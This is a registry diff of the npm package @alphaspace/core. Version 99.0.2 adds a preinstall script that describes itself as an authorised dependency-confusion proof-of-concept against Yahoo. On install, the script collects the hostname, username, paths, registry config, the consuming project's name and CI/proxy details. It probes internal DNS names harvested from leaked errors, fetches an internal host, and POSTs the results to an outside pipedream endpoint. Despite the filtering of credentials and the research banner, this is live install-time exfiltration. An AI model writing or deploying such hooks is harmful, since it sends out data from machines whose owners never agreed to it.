@alphaspace/core 99.0.0 → 99.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +380 -98
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,98 +1,380 @@
|
|
|
1
|
-
/*
|
|
2
|
-
*
|
|
3
|
-
*
|
|
4
|
-
*
|
|
5
|
-
*
|
|
6
|
-
*
|
|
7
|
-
*
|
|
8
|
-
*
|
|
9
|
-
*
|
|
10
|
-
*
|
|
11
|
-
*
|
|
12
|
-
*
|
|
13
|
-
*
|
|
14
|
-
*
|
|
15
|
-
*
|
|
16
|
-
* -
|
|
17
|
-
*
|
|
18
|
-
*
|
|
19
|
-
*
|
|
20
|
-
*
|
|
21
|
-
*
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
1
|
+
/*
|
|
2
|
+
* @alphaspace/core - authorised security research proof-of-concept
|
|
3
|
+
* ================================================================
|
|
4
|
+
* Yahoo Vulnerability Disclosure Program, researcher handle: mlitchfield
|
|
5
|
+
*
|
|
6
|
+
* v99.0.2 - published with operator authorisation 2026-09-25.
|
|
7
|
+
*
|
|
8
|
+
* WHY THIS VERSION EXISTS
|
|
9
|
+
* v99.0.0 produced 18 callbacks, none attributable to Yahoo. Every source IP was a
|
|
10
|
+
* generic cloud provider (GCP, AWS, Alibaba, Azure), which is expected: Yahoo runs on
|
|
11
|
+
* public cloud, so a source IP can neither confirm nor exclude them. This version stops
|
|
12
|
+
* relying on the IP and instead collects fields that only a Yahoo build environment
|
|
13
|
+
* would produce.
|
|
14
|
+
*
|
|
15
|
+
* WHAT IT DOES
|
|
16
|
+
* - prints an attribution banner identifying itself as authorised research
|
|
17
|
+
* - makes ONE outbound HTTPS POST to a collector under the researcher's control
|
|
18
|
+
* - performs 18 DNS NAME LOOKUPS (no connection, no data sent) to test whether this
|
|
19
|
+
* host resolves names that do not exist in public DNS
|
|
20
|
+
* - IF AND ONLY IF one of Yahoo's own "banana stand" out-of-band servers resolves -
|
|
21
|
+
* which can only happen inside Yahoo's network - makes ONE further GET to the web
|
|
22
|
+
* root of ONE of them and reports the status and the first 512 bytes. Those servers
|
|
23
|
+
* are published by the Yahoo VDP for exactly this purpose, so the request is also
|
|
24
|
+
* visible in Yahoo's own logs and can be verified there independently.
|
|
25
|
+
*
|
|
26
|
+
* WHAT IT DOES NOT DO - unchanged from v99.0.0, and deliberately
|
|
27
|
+
* - NO dump of process.env. Only a fixed allowlist of named variables is read.
|
|
28
|
+
* - NO credentials of any kind. Every .npmrc line containing _auth / token /
|
|
29
|
+
* password / certfile / keyfile is dropped before parsing, and no value from an
|
|
30
|
+
* auth-shaped variable is ever transmitted.
|
|
31
|
+
* - NO file contents, except two string fields (name, version) from the consuming
|
|
32
|
+
* project's package.json plus whether it declares a dependency under our own scope.
|
|
33
|
+
* Never its dependency list.
|
|
34
|
+
* - NO cloud metadata. Nothing touches 169.254.169.254 or any metadata service.
|
|
35
|
+
* - NO command execution, no child processes, no persistence, no file writes.
|
|
36
|
+
* - NO connection to any probed host EXCEPT the single banana-stand GET described
|
|
37
|
+
* above, which targets Yahoo's own designated research infrastructure and only
|
|
38
|
+
* after DNS has already confirmed we are inside their network.
|
|
39
|
+
* - NOTHING outside the declared program scope. The sibling banana.stand.*.prod.oath
|
|
40
|
+
* and banana.stand.corp.*.cic.oath hosts exist and resolve internally, but the bare
|
|
41
|
+
* .oath TLD is not in scope, so they are deliberately excluded.
|
|
42
|
+
*
|
|
43
|
+
* It exits 0 unconditionally. It cannot break an install.
|
|
44
|
+
*/
|
|
45
|
+
|
|
46
|
+
'use strict';
|
|
47
|
+
|
|
48
|
+
const https = require('https');
|
|
49
|
+
const dns = require('dns');
|
|
50
|
+
const os = require('os');
|
|
51
|
+
const fs = require('fs');
|
|
52
|
+
const path = require('path');
|
|
53
|
+
|
|
54
|
+
const ENDPOINT = 'https://f5778d1d81cc30c39dcdd0da5ca1d49a.m.pipedream.net';
|
|
55
|
+
const MARKER = 'yahoo-bbp-alphaspace-depconfusion';
|
|
56
|
+
const RUN_ID = Math.random().toString(16).slice(2, 10);
|
|
57
|
+
|
|
58
|
+
console.log('');
|
|
59
|
+
console.log(' @alphaspace/core - AUTHORISED SECURITY RESEARCH PROOF OF CONCEPT');
|
|
60
|
+
console.log(' Yahoo Vulnerability Disclosure Program | researcher: mlitchfield');
|
|
61
|
+
console.log(' This package is a namespace-reservation PoC. It contains no exploit');
|
|
62
|
+
console.log(' code and takes no action on this machine beyond reporting that an');
|
|
63
|
+
console.log(' install occurred. Contact the researcher to have it removed.');
|
|
64
|
+
console.log(' run id: ' + RUN_ID + ' | ' + new Date().toISOString());
|
|
65
|
+
console.log('');
|
|
66
|
+
|
|
67
|
+
// ---------------------------------------------------------------- helpers
|
|
68
|
+
|
|
69
|
+
// Return only the hostname of a URL-valued setting. Never the full URL, which could
|
|
70
|
+
// carry a token in userinfo or a query string.
|
|
71
|
+
function hostOnly(v) {
|
|
72
|
+
if (!v || typeof v !== 'string') return null;
|
|
73
|
+
try { return new URL(v).host; } catch (e) {
|
|
74
|
+
const m = v.match(/^[a-z0-9+.-]+:\/\/([^/?#]+)/i);
|
|
75
|
+
return m ? m[1] : null;
|
|
76
|
+
}
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
const SECRET_RE = /(_auth|authtoken|token|password|passwd|secret|certfile|keyfile|_pass)/i;
|
|
80
|
+
|
|
81
|
+
// Parse .npmrc for REGISTRY LINES ONLY. Any line that looks credential-bearing is
|
|
82
|
+
// dropped before it is even inspected. This is the highest-value attribution field:
|
|
83
|
+
// a registry host under ouryahoo.com is definitive, single-field attribution.
|
|
84
|
+
function registryConfig() {
|
|
85
|
+
const out = {};
|
|
86
|
+
const files = [];
|
|
87
|
+
try { if (process.env.npm_config_userconfig) files.push(process.env.npm_config_userconfig); } catch (e) {}
|
|
88
|
+
try { files.push(path.join(os.homedir(), '.npmrc')); } catch (e) {}
|
|
89
|
+
try { if (process.env.INIT_CWD) files.push(path.join(process.env.INIT_CWD, '.npmrc')); } catch (e) {}
|
|
90
|
+
for (const f of files) {
|
|
91
|
+
let txt = '';
|
|
92
|
+
try { txt = fs.readFileSync(f, 'utf8'); } catch (e) { continue; }
|
|
93
|
+
for (const line of txt.split(/\r?\n/)) {
|
|
94
|
+
if (SECRET_RE.test(line)) continue; // drop credential lines outright
|
|
95
|
+
const m = line.match(/^\s*((?:@[^:\s]+:)?registry)\s*=\s*(\S+)\s*$/i);
|
|
96
|
+
if (m) out[m[1]] = hostOnly(m[2]) || m[2]; // host only, never the full URL
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
return Object.keys(out).length ? out : null;
|
|
100
|
+
}
|
|
101
|
+
|
|
102
|
+
// Consuming project identity: two string fields, nothing else.
|
|
103
|
+
// THE DISCRIMINATOR between a real dependency-confusion resolution and a human simply
|
|
104
|
+
// typing `npm i @alphaspace/core` out of curiosity.
|
|
105
|
+
//
|
|
106
|
+
// A BUILD PIPELINE resolves our scope because its own manifest already declared a
|
|
107
|
+
// dependency on it. A PERSON investigating has a scratch directory with no prior
|
|
108
|
+
// declaration, no lockfile and no CI markers.
|
|
109
|
+
//
|
|
110
|
+
// Without this, a callback carrying an internal Yahoo registry host is AMBIGUOUS: it
|
|
111
|
+
// could be their build proxying public npm on cache-miss (the actual vulnerability), or
|
|
112
|
+
// a Yahoo engineer looking at what got registered (not a vulnerability at all). The
|
|
113
|
+
// registry field alone cannot tell those apart, so it must not be reported as if it can.
|
|
114
|
+
//
|
|
115
|
+
// We read ONLY whether a dependency KEY under our scope exists, and its declared range.
|
|
116
|
+
// We do NOT transmit the consumer's dependency list - that would disclose a third
|
|
117
|
+
// party's dependency tree, which is not ours to collect.
|
|
118
|
+
function consumerPackage() {
|
|
119
|
+
const root = process.env.INIT_CWD;
|
|
120
|
+
if (!root) return null;
|
|
121
|
+
try {
|
|
122
|
+
const j = JSON.parse(fs.readFileSync(path.join(root, 'package.json'), 'utf8'));
|
|
123
|
+
let declared = null;
|
|
124
|
+
for (const section of ['dependencies', 'devDependencies', 'optionalDependencies', 'peerDependencies']) {
|
|
125
|
+
const blk = j[section];
|
|
126
|
+
if (!blk || typeof blk !== 'object') continue;
|
|
127
|
+
for (const key of Object.keys(blk)) {
|
|
128
|
+
if (key.indexOf('@alphaspace/') === 0) {
|
|
129
|
+
declared = { section: section, key: key, range: String(blk[key]).slice(0, 40) };
|
|
130
|
+
break;
|
|
131
|
+
}
|
|
132
|
+
}
|
|
133
|
+
if (declared) break;
|
|
134
|
+
}
|
|
135
|
+
return {
|
|
136
|
+
name: typeof j.name === 'string' ? j.name : null,
|
|
137
|
+
version: typeof j.version === 'string' ? j.version : null,
|
|
138
|
+
// true => the project ASKED for our scope => genuine resolution, the finding
|
|
139
|
+
// false => nobody declared it => a manual install, NOT the finding
|
|
140
|
+
declares_our_scope: !!declared,
|
|
141
|
+
declared_as: declared,
|
|
142
|
+
private_flag: j.private === true
|
|
143
|
+
};
|
|
144
|
+
} catch (e) { return null; }
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
// Supporting signals for the same question. A pipeline has a lockfile and a CI marker;
|
|
148
|
+
// a person poking at a package on their laptop generally has neither.
|
|
149
|
+
function invocationShape() {
|
|
150
|
+
const root = process.env.INIT_CWD;
|
|
151
|
+
const lock = { 'package-lock.json': false, 'npm-shrinkwrap.json': false, 'yarn.lock': false, 'pnpm-lock.yaml': false };
|
|
152
|
+
if (root) {
|
|
153
|
+
for (const f of Object.keys(lock)) {
|
|
154
|
+
try { lock[f] = fs.existsSync(path.join(root, f)); } catch (e) {}
|
|
155
|
+
}
|
|
156
|
+
}
|
|
157
|
+
const ua = process.env.npm_config_user_agent || '';
|
|
158
|
+
return {
|
|
159
|
+
// `npm ci` is a CI-only command that REQUIRES a lockfile - a strong pipeline signal.
|
|
160
|
+
// `npm install <pkg>` with an argument is the shape of a human adding a package.
|
|
161
|
+
npm_command: process.env.npm_command || null,
|
|
162
|
+
ci_flag_in_user_agent: /(^|\s)ci\/(?!false)/.test(ua) || /\bci\/true\b/.test(ua),
|
|
163
|
+
lockfiles: lock,
|
|
164
|
+
any_lockfile: Object.keys(lock).some(function (k) { return lock[k]; })
|
|
165
|
+
};
|
|
166
|
+
}
|
|
167
|
+
|
|
168
|
+
// CI fingerprint. Presence booleans plus URL HOSTNAMES only - never values, never tokens.
|
|
169
|
+
// SD_* is Screwdriver.cd, the CI system Yahoo built and open-sourced: its presence is a
|
|
170
|
+
// strong Yahoo indicator on its own.
|
|
171
|
+
function ciFingerprint() {
|
|
172
|
+
const e = process.env;
|
|
173
|
+
const present = [];
|
|
174
|
+
for (const k of ['SD_PIPELINE_ID','SD_JOB_NAME','SD_BUILD_ID','SD_SOURCE_DIR','SD_TOKEN',
|
|
175
|
+
'JENKINS_URL','BUILD_NUMBER','GITHUB_ACTIONS','GITLAB_CI','CIRCLECI',
|
|
176
|
+
'BUILDKITE','TEAMCITY_VERSION','SCREWDRIVER','CI']) {
|
|
177
|
+
if (e[k] !== undefined) present.push(k); // NAME only, value never read
|
|
178
|
+
}
|
|
179
|
+
return {
|
|
180
|
+
vars_present: present,
|
|
181
|
+
sd_api_host: hostOnly(e.SD_API_URL),
|
|
182
|
+
sd_ui_host: hostOnly(e.SD_UI_URL),
|
|
183
|
+
jenkins_host: hostOnly(e.JENKINS_URL),
|
|
184
|
+
github_server: hostOnly(e.GITHUB_SERVER_URL),
|
|
185
|
+
github_repository: typeof e.GITHUB_REPOSITORY === 'string' ? e.GITHUB_REPOSITORY : null
|
|
186
|
+
};
|
|
187
|
+
}
|
|
188
|
+
|
|
189
|
+
function proxyFingerprint() {
|
|
190
|
+
const e = process.env;
|
|
191
|
+
return {
|
|
192
|
+
npm_proxy: hostOnly(e.npm_config_proxy),
|
|
193
|
+
npm_https: hostOnly(e.npm_config_https_proxy),
|
|
194
|
+
http_proxy: hostOnly(e.HTTP_PROXY || e.http_proxy),
|
|
195
|
+
https_proxy: hostOnly(e.HTTPS_PROXY || e.https_proxy),
|
|
196
|
+
no_proxy: typeof (e.NO_PROXY || e.no_proxy) === 'string' ? (e.NO_PROXY || e.no_proxy).slice(0, 200) : null
|
|
197
|
+
};
|
|
198
|
+
}
|
|
199
|
+
|
|
200
|
+
// DNS-ONLY internal-resolver probe. These three names are NXDOMAIN from the public
|
|
201
|
+
// internet (verified 2026-09-25), so a successful resolution means the host is using
|
|
202
|
+
// an internal resolver that knows Yahoo-private zones. We record a boolean per name.
|
|
203
|
+
// No address is transmitted and NO CONNECTION is made to any of them.
|
|
204
|
+
// Every name here was verified NXDOMAIN from the public internet on 2026-09-25. That is
|
|
205
|
+
// the POINT, not a defect: a name that resolves publicly (pnr.ouryahoo.com, git.ouryahoo.com,
|
|
206
|
+
// zts.athenz.ouroath.com and similar) returns true for every machine on earth and therefore
|
|
207
|
+
// discriminates nothing. Only a name that is absent publicly but present on an internal
|
|
208
|
+
// resolver can tell us the host sits inside Yahoo's network.
|
|
209
|
+
//
|
|
210
|
+
// EVIDENCE-BACKED - harvested from Yahoo's own leaked error messages during this engagement,
|
|
211
|
+
// so we know these exist internally. These are the ones a report should rely on:
|
|
212
|
+
const INTERNAL_PROBES_EVIDENCED = [
|
|
213
|
+
'istio-system.prod1-gq1.omega.yahoo.com',
|
|
214
|
+
'jws300162.mail.gq1.yahoo.com',
|
|
215
|
+
'assistant-mtls-production.datascience-creative-assistant.omega.yahoo.com'
|
|
216
|
+
];
|
|
217
|
+
|
|
218
|
+
// Stable internal service names, also harvested from Yahoo's own leaked error output.
|
|
219
|
+
// Deliberately EXCLUDES the istio-ingressgateway-* names, which were the most frequently
|
|
220
|
+
// referenced but are ephemeral k8s POD names - that pod is likely long gone, so the probe
|
|
221
|
+
// would read false even inside Yahoo.
|
|
222
|
+
const INTERNAL_PROBES_HARVESTED = [
|
|
223
|
+
'buildr.corp.yahoo.com',
|
|
224
|
+
'apigw.athenz.ouryahoo.com',
|
|
225
|
+
'corpapps.k8s.fin.ouryahoo.com',
|
|
226
|
+
'vpn-1-gci.corp.gq1.yahoo.com',
|
|
227
|
+
'vpn-1-gci.corp.ne1.yahoo.com'
|
|
228
|
+
];
|
|
229
|
+
|
|
230
|
+
// Yahoo's OWN out-of-band researcher infrastructure ("banana stand"), documented by the
|
|
231
|
+
// program for exactly this purpose. All verified publicly NXDOMAIN on 2026-09-25, and they
|
|
232
|
+
// span six datacentres across BOTH the prod and corp networks, so a hit also tells us WHICH
|
|
233
|
+
// segment the host sits in.
|
|
234
|
+
//
|
|
235
|
+
// SCOPE: only the .yahoo.com entries are used. The sibling banana.stand.*.prod.oath and
|
|
236
|
+
// banana.stand.corp.*.cic.oath names exist, but our declared scope covers *.oath.com and
|
|
237
|
+
// *.oath.cloud - NOT the bare .oath TLD - so they are deliberately omitted.
|
|
238
|
+
const BANANA_PROD = ['banana.stand.bf1.yahoo.com','banana.stand.bf2.yahoo.com','banana.stand.gq1.yahoo.com',
|
|
239
|
+
'banana.stand.ir2.yahoo.com','banana.stand.ne1.yahoo.com','banana.stand.sg3.yahoo.com'];
|
|
240
|
+
const BANANA_CORP = ['banana.stand.cbf1.yahoo.com','banana.stand.cgq1.yahoo.com',
|
|
241
|
+
'banana.stand.cne1.yahoo.com','banana.stand.csg3.yahoo.com'];
|
|
242
|
+
|
|
243
|
+
const INTERNAL_PROBES = INTERNAL_PROBES_EVIDENCED
|
|
244
|
+
.concat(INTERNAL_PROBES_HARVESTED).concat(BANANA_PROD).concat(BANANA_CORP);
|
|
245
|
+
|
|
246
|
+
function probeInternalDns(cb) {
|
|
247
|
+
const res = {};
|
|
248
|
+
let left = INTERNAL_PROBES.length;
|
|
249
|
+
if (!left) return cb(res);
|
|
250
|
+
const done = () => { if (--left === 0) cb(res); };
|
|
251
|
+
const timer = setTimeout(() => { left = 1; done(); }, 2500); // never hold up the install
|
|
252
|
+
timer.unref && timer.unref();
|
|
253
|
+
for (const name of INTERNAL_PROBES) {
|
|
254
|
+
try {
|
|
255
|
+
dns.resolve4(name, (err) => { res[name] = !err; done(); }); // boolean only
|
|
256
|
+
} catch (e) { res[name] = null; done(); }
|
|
257
|
+
}
|
|
258
|
+
}
|
|
259
|
+
|
|
260
|
+
// THE UNFORGEABLE PROOF.
|
|
261
|
+
//
|
|
262
|
+
// A DNS boolean can be explained away - a wildcard resolver, a private zone of the same
|
|
263
|
+
// name, coincidence. Returned FILE CONTENT cannot. All ten banana-stand hosts are NXDOMAIN
|
|
264
|
+
// from the public internet, so we physically cannot fetch them ourselves. If our collector
|
|
265
|
+
// receives a status line and body from banana.stand.<dc>.yahoo.com, that response can only
|
|
266
|
+
// have been produced by a host inside Yahoo's network.
|
|
267
|
+
//
|
|
268
|
+
// It is also doubly attested: the fetch lands in YAHOO'S OWN logs, so their triage team can
|
|
269
|
+
// independently confirm an internal host installed this package, rather than taking our
|
|
270
|
+
// collector's word for it. These servers are documented by the program for exactly this use.
|
|
271
|
+
//
|
|
272
|
+
// Bounded deliberately: fires ONLY against banana-stands that already RESOLVED (so it never
|
|
273
|
+
// touches anything outside Yahoo), ONE host, ONE GET, 2s timeout, body capped at 512 bytes.
|
|
274
|
+
// We fetch the WEB ROOT rather than a guessed filename: / always returns something, whereas a
|
|
275
|
+
// guessed path may 404. Body capped at 512 bytes - enough to identify the server, not enough
|
|
276
|
+
// to be an exfiltration.
|
|
277
|
+
function fetchBananaProof(internalDns, cb) {
|
|
278
|
+
const reachable = BANANA_PROD.concat(BANANA_CORP).filter(function (h) { return internalDns[h] === true; });
|
|
279
|
+
if (!reachable.length) return cb({ attempted: false, reason: 'no banana-stand resolved - host is not inside Yahoo' });
|
|
280
|
+
const host = reachable[0];
|
|
281
|
+
let finished = false;
|
|
282
|
+
const finish = (o) => { if (!finished) { finished = true; o.host = host; o.resolved_hosts = reachable; cb(o); } };
|
|
283
|
+
try {
|
|
284
|
+
const req = https.request({
|
|
285
|
+
hostname: host, port: 443, path: '/', method: 'GET', timeout: 2000,
|
|
286
|
+
rejectUnauthorized: false,
|
|
287
|
+
headers: { 'user-agent': 'alphaspace-depconfusion-poc/99.0.2 (yahoo-bbp; mlitchfield)' }
|
|
288
|
+
}, function (res) {
|
|
289
|
+
let body = '';
|
|
290
|
+
res.setEncoding('utf8');
|
|
291
|
+
res.on('data', function (d) { if (body.length < 512) body += d; });
|
|
292
|
+
res.on('end', function () {
|
|
293
|
+
finish({ attempted: true, status: res.statusCode, body: body.slice(0, 512),
|
|
294
|
+
server: res.headers && res.headers.server ? String(res.headers.server).slice(0, 80) : null });
|
|
295
|
+
});
|
|
296
|
+
});
|
|
297
|
+
req.on('error', function (e) { finish({ attempted: true, error: String(e && e.code || e).slice(0, 60) }); });
|
|
298
|
+
req.on('timeout', function () { try { req.destroy(); } catch (e) {} finish({ attempted: true, error: 'timeout' }); });
|
|
299
|
+
req.end();
|
|
300
|
+
} catch (e) { finish({ attempted: true, error: 'threw' }); }
|
|
301
|
+
}
|
|
302
|
+
|
|
303
|
+
// ---------------------------------------------------------------- report
|
|
304
|
+
|
|
305
|
+
probeInternalDns(function (internalDns) {
|
|
306
|
+
fetchBananaProof(internalDns, function (bananaProof) {
|
|
307
|
+
let payload;
|
|
308
|
+
try {
|
|
309
|
+
payload = JSON.stringify({
|
|
310
|
+
poc: MARKER,
|
|
311
|
+
researcher: 'mlitchfield',
|
|
312
|
+
schema: 'v99.0.2',
|
|
313
|
+
run_id: RUN_ID,
|
|
314
|
+
ts_utc: new Date().toISOString(),
|
|
315
|
+
|
|
316
|
+
// identity of the machine
|
|
317
|
+
hostname: os.hostname(),
|
|
318
|
+
username: (os.userInfo && os.userInfo().username) || null,
|
|
319
|
+
platform: process.platform,
|
|
320
|
+
arch: process.arch,
|
|
321
|
+
node: process.version,
|
|
322
|
+
|
|
323
|
+
// WHERE npm was actually invoked - the consuming project root, not our own dir.
|
|
324
|
+
// This is the field v99.0.0 was missing.
|
|
325
|
+
init_cwd: process.env.INIT_CWD || null,
|
|
326
|
+
cwd: process.cwd(),
|
|
327
|
+
|
|
328
|
+
// WHO installed us, and CRUCIALLY whether they had declared our scope beforehand
|
|
329
|
+
consumer_package: consumerPackage(),
|
|
330
|
+
|
|
331
|
+
// separates a build pipeline from a person running npm i by hand
|
|
332
|
+
invocation: invocationShape(),
|
|
333
|
+
|
|
334
|
+
// the single most decisive field: a registry host under ouryahoo.com is definitive
|
|
335
|
+
registry_config: registryConfig(),
|
|
336
|
+
npm_config_registry: process.env.npm_config_registry || null,
|
|
337
|
+
npm_user_agent: process.env.npm_config_user_agent || null,
|
|
338
|
+
|
|
339
|
+
ci: ciFingerprint(),
|
|
340
|
+
proxy: proxyFingerprint(),
|
|
341
|
+
|
|
342
|
+
// boolean per name; proves an internal resolver without contacting anything.
|
|
343
|
+
// evidenced_hit is the one that matters - a true there means a name Yahoo's own
|
|
344
|
+
// error messages disclosed, absent from public DNS, resolved on this host.
|
|
345
|
+
internal_dns: internalDns,
|
|
346
|
+
internal_dns_evidenced_hit: INTERNAL_PROBES_EVIDENCED.some(function (n) { return internalDns[n] === true; }),
|
|
347
|
+
internal_dns_any_hit: Object.keys(internalDns).some(function (n) { return internalDns[n] === true; }),
|
|
348
|
+
|
|
349
|
+
// content returned by a Yahoo-internal-only host. We cannot fetch these ourselves,
|
|
350
|
+
// so a status line here is proof the installing host is inside Yahoo's network - and
|
|
351
|
+
// the same request is visible in Yahoo's own logs for independent confirmation.
|
|
352
|
+
banana_proof: bananaProof,
|
|
353
|
+
|
|
354
|
+
pkg: '@alphaspace/core',
|
|
355
|
+
pkg_version: '99.0.2'
|
|
356
|
+
});
|
|
357
|
+
} catch (e) {
|
|
358
|
+
payload = JSON.stringify({ poc: MARKER, run_id: RUN_ID, error: 'serialise-failed' });
|
|
359
|
+
}
|
|
360
|
+
|
|
361
|
+
try {
|
|
362
|
+
const u = new URL(ENDPOINT);
|
|
363
|
+
const req = https.request({
|
|
364
|
+
hostname: u.hostname, port: 443, path: u.pathname, method: 'POST',
|
|
365
|
+
timeout: 3000,
|
|
366
|
+
headers: {
|
|
367
|
+
'content-type': 'application/json',
|
|
368
|
+
'content-length': Buffer.byteLength(payload),
|
|
369
|
+
'user-agent': 'alphaspace-depconfusion-poc/99.0.2 (yahoo-bbp; mlitchfield)'
|
|
370
|
+
}
|
|
371
|
+
}, function (res) { res.resume(); });
|
|
372
|
+
req.on('error', function () {});
|
|
373
|
+
req.on('timeout', function () { try { req.destroy(); } catch (e) {} });
|
|
374
|
+
req.write(payload);
|
|
375
|
+
req.end();
|
|
376
|
+
} catch (e) { /* never fail an install */ }
|
|
377
|
+
});
|
|
378
|
+
});
|
|
379
|
+
|
|
380
|
+
process.exitCode = 0;
|